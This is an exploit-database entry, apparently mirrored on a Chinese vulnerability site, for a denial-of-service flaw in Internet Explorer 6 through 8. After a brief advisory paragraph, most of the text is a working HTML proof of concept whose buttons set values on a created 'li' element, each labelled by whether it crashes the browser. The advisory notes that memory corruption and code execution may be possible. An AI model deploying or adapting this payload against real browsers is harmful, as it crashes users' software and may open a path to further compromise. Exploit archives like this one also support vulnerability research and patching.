Microsoft Internet Explorer 6/7/8 - 'li' Element Denial of Service (1)

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漏洞ID 1056161 漏洞类型
发布时间 2007-02-07 更新时间 2007-02-07
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/33173
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/36070/info

Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Given the nature of this issue, attackers may also be able to corrupt process memory and run arbitrary code, but this has not been confirmed.

Versions prior to Internet Explorer 8 beta 2 are vulnerable. 

<html> <head> <title>IE Crash Example</title> </head> <body> <button type="button" onclick="document.createElement('li').value = null;">null - Okay</button> <button type="button" onclick="document.createElement('li').value = 0;">0 - Okay</button> <button type="button" onclick="document.createElement('li').value = 1;">1 - Crash</button> <button type="button" onclick="document.createElement('li').value = '1';">'1' - Crash</button> <button type="button" onclick="document.createElement('li').value = true;">true - Crash</button> <button type="button" onclick="document.createElement('li').value = 'true';">'true' - Okay</button> <button type="button" onclick="document.createElement('li').value = false;">false - Okay</button> <button type="button" onclick="document.createElement('li').value = [];">[] - Okay</button> <button type="button" onclick="document.createElement('li').value = [1];">[1] - Crash</button> <button type="button" onclick="document.createElement('li').value = ['1'];">['1'] - Crash</button> <button type="button" onclick="document.createElement('li').value = ['true'];">['true'] - Okay</button> <button type="button" onclick="document.createElement('li').value = {};">{} - Okay</button> <button type="button" onclick="document.createElement('li').value = {count:1};">{count:1} - Okay</button> <button type="button" onclick="document.createElement('li').value = undefined;">undefined - Okay</button> <button type="button" onclick="document.createElement('li').value = function(){};">function(){} - Okay</button> </body> </html>